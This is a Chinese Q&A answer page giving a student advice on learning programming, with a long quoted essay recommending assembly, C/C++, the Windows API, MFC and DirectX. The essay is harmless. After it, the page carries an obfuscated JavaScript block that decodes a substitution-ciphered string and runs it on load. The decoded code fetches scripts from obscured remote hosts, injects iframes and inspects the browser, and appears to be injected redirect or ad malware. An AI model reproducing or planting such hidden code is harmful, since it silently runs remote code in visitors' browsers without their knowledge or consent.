推荐回答(1个)
高中有信息学竞赛,有兴趣可以参加... 不过高中的信息学比赛是聪明人的游戏,如果你学无余力的话不建议话太多时间... 兄弟,学编程是很闷的事,起码在你发现它的美妙之前...哈哈,加油...高中学好数学再说编程吧,否则你会发现自己学得底气不足的...至于英语,都是很简单的英语,不用怕...接触多了就会了... 下面引用一篇大学生学习编程的心得,当你看完之后还觉得想做编程这一行的话,恭喜你,相信自己,一定成功!!1 个人对编程的心得体会! 编程学习方法论 为什么要学习编程? 如果你还没有考虑清楚,就不要开始学编程。编程的学习需要制定一个全过程的学习计划,和一些阶段性的目标,如果没有这些,想要学出名堂几乎是不可能的。 如果你没有大量的学习时间,那么不要去学习编程,你必须为编程的学习付出至少3000个小时。不要对这个数字表示怀疑,稍后我会解释这些时间都花费在了哪里。 如果你怀疑自己的自学能力,和毅力,那么不要学习编程,这两者对于编程的学习很重要,编程只能靠自学成材,在整个学习阶段,你只能靠自己,实际上你只有具备了独立解决问题的能力,你才有可能学有所成。 如果你的目的不是成为高级程序员,那么不要学习编程,(除非你觉得编程的学习对提高你的创造能力,和提高你的学习能力有所帮助的话。也许你想靠它锻炼手指,如果是这样,我建议你去聊天室)编程的学习最怕半途而废,我想那时候你会觉得什么也没学到,前面你学会的那一半知识简直一无是处,没有任何用处。 如果你没有知识投资的觉悟,那么不要学习编程,学习的过程可能需要几千元的投入,不过想想回报,也许这对很多人不存在问题。 如果你认为上面的几个“如果”都不存在问题,那么你可以开始学习编程了。 你需要立即购买一台电脑,如果你还没有的话。 要保证它的性能不会太差。 你必须花一部分时间用来上网,了解最新的技术,想办法结识网络上的高手,和他们通通E-MAIL,在你遇到困难的时候可以向他们求助。 不要相信外面形形色色的学习班,那里不是能够学到东西的地方。 你需要从汇编学起,我想这对你成为真正的高手至关重要,这个阶段可能不是个短暂的过程。 接下来你可以研究一下加密机密,记住不要沉迷其中,你的目的不是为了去做盗版。这个阶段可以用来检验一下你汇编的学习成果,让你能够熟练的运用汇编做一些事情。 这时候可以选择一门高级语言来学了,我推荐你学习c++,但是同时你也应该对c有所了解,当然,最终你必须对这两门语言都非常的熟悉。最初的学习可能会相当枯燥,但是要想想,它们无所不能,微软用它们编写windows,各大游戏公司用它们编写游戏。只要你的想象能力足够丰富,你可以创造出一切。不要相信“21”天学会c++的美丽谎言,你可能需要在这个学习阶段花费将近1000个小时,即使那时候,你也不过是在编程的学习上刚入门罢了。 了解了一些语言的语法规则,你需要学习数据结构和算法,这是整个编程的核心,如果你的学习能力还不错的话,我想这些时间应该可以归于前面那个1000小时的学习阶段。当然,想要达到某种深度的话,这点时间是远远不够的。 如果你希望在windows环境下编程,那么现在你可以开始windows API的学习了,不要一开始就去学习MFC,什么,你不知道什么是windows API,也还没有听说过MFC?那我先对它们做一些简单的介绍,windows API是微软为编程人员提供的一套编程接口,全部都是现成的函数,它们涉及到了windows的方方面面,你可以用它们编写出运行在windows平台上的软件。由于这套接口函数数量相当庞大,学习和使用都很复杂,为此,微软设计了MFC,MFC是对windows API 的封装,它是windows API的真子集,它将以往数个函数的功能和并成为一个函数,提供了比windows API更简单的函数接口,但是如此一来,MFC创建了一套自己独立的运行机制,在没有API功底的情况下想要掌握它是异常困难的。如果你已经学会了windows API,这时候再学MFC会十分轻松,它也确实可以大大减少你的设计代码,让你工作更轻松些。不过更简单的函数接口也就意味着更多的功能限制,如果这时候你希望通过API 来为MFC扩充额外的功能是相当困难的。 当然API的学习也不是一个轻松的过程,想要熟练掌握,恐怕得有7~800个小时左右。 你可以先学一些GDI的函数,这样你可以马上检验一下c和c++学习成果。这时候你应该可以自己编一些诸如俄罗斯方块、五子棋等的一些小游戏了。不要为有这点成果而沾沾自喜,后面要学的东西还很多。 别忘了加强一下你的e文水平,这时候你最好多读一些原版资料,msdn是你要经常查阅的,微软的sdk帮助也是你必备的工具手册。 如果你想要深入掌握API,你必须同时进行对操作系统的学习,了解整个windows的运行机制恐怕是不可能的,但是了解得越多,你对windows编程的了解就越深刻。 到了这个时候,相信你应该有一定的编程水平了,但是千万不要就此止步,看看后面还有什么要学的。如果你希望在windows编程上更进一步,那么可以去学学VxD,那些你平时绞尽脑汁不知道怎么做出来的东西,也许靠的就是它 。你一定见过它的应用:虚拟光驱、杀毒软件的实时监控、还有当年大名鼎鼎的CIH。不过有一点要记住了,windows 9x 支持VxD,到了windowsNT/2000,它已经被功能更强大的WDM所替代了。 比起去做windows软件设计,也许你更喜欢将设计游戏作为以后的发展方向。这时候windows的GDI接口就远远不能满足你的需要了,它的速度很慢。你需要一些能够访问和使用显存的图形界面编程接口,你可以去学习OpenGL或者是DirectX,两者择其一即可,不过DirectX比起OpenGL可能难学得多,现在市面上最新版本的DirectX9.0还没有资料,只有微软的sdk可看,这对如此庞大的一门知识体系的学习恐怕是非常困难的。 你可能需要掌握一些图形学知识,用以完成游戏里的许多设计。这时候你会发现高等数学至关重要,如果你的大学课堂上开有数值分析这门课程千万不要忽视了。 记住,千万不要成为纯粹意义上的技术狂人,你需要时常找一些空闲时间来玩玩游戏,想想这些游戏是怎么做出来的,如果不关注游戏市场,你就不可能了解现今的技术水平。也许你以后设计的游戏会仍然停留在多年前的水准。 你需要试着找一些合作伙伴共同开发一些软件或小型的游戏。未来的软件业需要的不再是单枪匹马的牛仔式程序设计者,而是能够配合团队小组共同开发软件的程序员。 你需要在实践中获得这些方面的经验,实践二字也是整个编程学习方法中最重要的主题,你调试程序的时间应该远大于你阅读资料的时间。别忘了用你的实践去检验书中的每一个知识点,确定它们无误。我可以明确地告诉你,我看过的书没有一本是一个错误都没有的。时刻保持对你所学知识的怀疑也是加强记忆的一个重要方法。 经过了这么长时间的学习,相信这个时候你已经具备了成为一个合格程序员的条件,但是离成为真正的编程高手还有相当一段距离。这个时候你可以去研究一下人工智能,神经网络学,我想在不久的将来,游戏AI的高度应该会和游戏受欢迎的程度成正比。 后面还应该学些什么,我还没有研究,毕竟我也在学习阶段,如果以后我还会写点什么的话,我会做一些补充。 最后的一点忠告是,不要总是看到自己会些什么,而是要看看还有什么不会。切忌目光短浅。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();